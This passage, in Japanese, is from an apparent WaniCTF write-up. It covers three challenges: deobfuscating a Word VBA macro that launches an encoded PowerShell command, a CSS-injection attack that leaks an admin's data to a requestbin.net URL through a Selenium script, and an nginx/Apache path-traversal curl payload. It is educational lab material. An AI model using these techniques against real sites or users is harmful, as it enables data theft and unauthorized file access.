"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function
(SNIPPED)

xor を使って難読化されている部分があります。まずはこれを復号してみます。

import re
from base64 import b64decode


key = b64decode(b"rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkll3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh93K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6nd1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")


def unxor(enc, idx):
    cleartext = ""
    for i in range(len(enc)):
        cleartext += chr(key[i + idx] ^ enc[i])
    return cleartext


encs = "CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)"

tmp = ""
for m in re.findall(r"unxor\(Array\(([0-9, ]*)\), ([0-9]*)\)", encs):
    tmp += unxor(list(map(int, eval(f"[{m[0]}]"))), int(m[1]))
print(tmp)
WScript.Shellpowershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

-e 以降のもの (base64encode されている) を powershell で実行しているようです。 base64decode をかけると、

b".('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()"

何らかの文字列に対して base64 decode -> deflateStream をかけています。 zlib で圧縮されているらしいのでもとに戻してみます。

import zlib


decompressed = zlib.decompress(b64decode("bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=="), -15)
b'echo "Yes, we love VBA!"\n\n$input = Read-Host "Password"\n\nif ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {\n  Write-Output "Correct!"\n} else {\n  Write-Output "Incorrect"\n}\n\n'

フラグの文字列と一致しているかを比較していることがわかりました。

FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}

Web

Styled memo

19 solves

css をアップロードすることができるノートアプリです。 css を使った何かが鍵となりそうな気配がするのでググってみると CSS injection というものが存在しました。この手法についてはこのスライドがわかりやすかったです。各タグの属性値の値によって query 先を分岐させるような css を書くことで、属性値を1文字ずつリークできます。今回の問題ではフラグが書かれたノートは属性値として与えられているので css からアクセス可能です。

しかし css のアップロードはできても、 admin の css を設定できるわけではないためなんとかする必要があります。 css のアップロード先のリンクを見ると、 /media/USERNAME/FILENAME となっています。デフォルトの FILENAMEexample.css です。 ここで自分の USERNAMEADMINNAME/ と変更してみます。するとアップロードした css は /media/ADMINNAME//FILENAME にアップロードされます。 FILENAMEexample.css に指定すれば、 admin がアクセスする css と path が一致するため、 admin が参照する css そのものとなります。これで任意の css を admin に踏ませることができます。

以上をもって css を作ってアップロードして admin に踏ませることで1文字ずつリークできるようになります。これを繰り返せばフラグが入手できます。 本当は自動化したかったのですが requestbin.net で query parameter をいい感じに取ってくるのが面倒だったため、1文字ずつ人力で回しました…また python の requests が上手く動作せず 403 が返ってきてしまうため selenium を使いました。 csrf 周りの問題だと思うのだけれど、上手く設定できず…

solve.py
import os
from selenium import webdriver
import string


sessionid = "951pwbd8amj5ftk1ptzprestm550n3bq"
user_url = "https://styled-memo.web.wanictf.org/user"
crawl_url = "https://styled-memo.web.wanictf.org/crawl"
css_path = os.getcwd() + "/example.css"

css_template = """button[data-title="FLAG"][data-content^="{value}"] {{
    background-image: url("https://requestbin.net/r/h0ua2hop?value={value}");
}}
"""

driver = webdriver.Chrome()

def checker(prefix: str):
    with open(css_path, "w") as f:
        for c in set(string.ascii_letters + string.digits + string.punctuation) - set("'"):
            css = css_template.format(value=prefix+c)
            f.write(css)

    driver.get(user_url)
    driver.add_cookie({"name": "sessionid", "value": sessionid})
    driver.get(user_url)
    driver.find_element_by_id("id_css").send_keys(css_path)
    driver.find_element_by_xpath("//button[@class='btn btn-primary']").click()
    driver.get(crawl_url)


# 手動で1文字ずつ追加していく…
flag = "FLAG{"
checker(flag)
driver.quit()

FLAG{CSS_Injecti0n_us1ng_d1r3ctory_tr@versal}

traversal

36 solves

ヒントに「設定に違和感」と書いてあったため、設定ファイルをひたすら眺めます。怪しい設定が2つ見つかりました。

1つ目はここ。

lb/conf/default.conf
server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;
    merge_slashes off;

    location / {
        proxy_pass http://traversal-web:80;
    }
}

merge_slashes というのはデフォルトでは on らしいですが、わざわざ off にしています。これは URL の path 中に slash が連なっているときに1つにするかしないかを決める設定みたいです。これが off の場合、 directory traversal が使える可能性があります。

2つ目の怪しい設定はここ。

web/httpd.conf
<IfModule alias_module>
    (SNIPPED)
    ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
</IfModule>

/cgi-bin/ にアクセスすることが /usr/local/apache2/cgi-bin/ にアクセスすることに繋がります。

以上2点を組み合わせると、 /cgi-bin///////../../../../../flag.txt のような path にアクセスすれば flag.txt にアクセスできそうです。しかし404が返ってしまいます。 原因がわからずあれこれ試してみると、 . ではなく %2e を使えば上手くいきました。なんで

curl https://traversal.web.wanictf.org/cgi-bin///////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt

FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}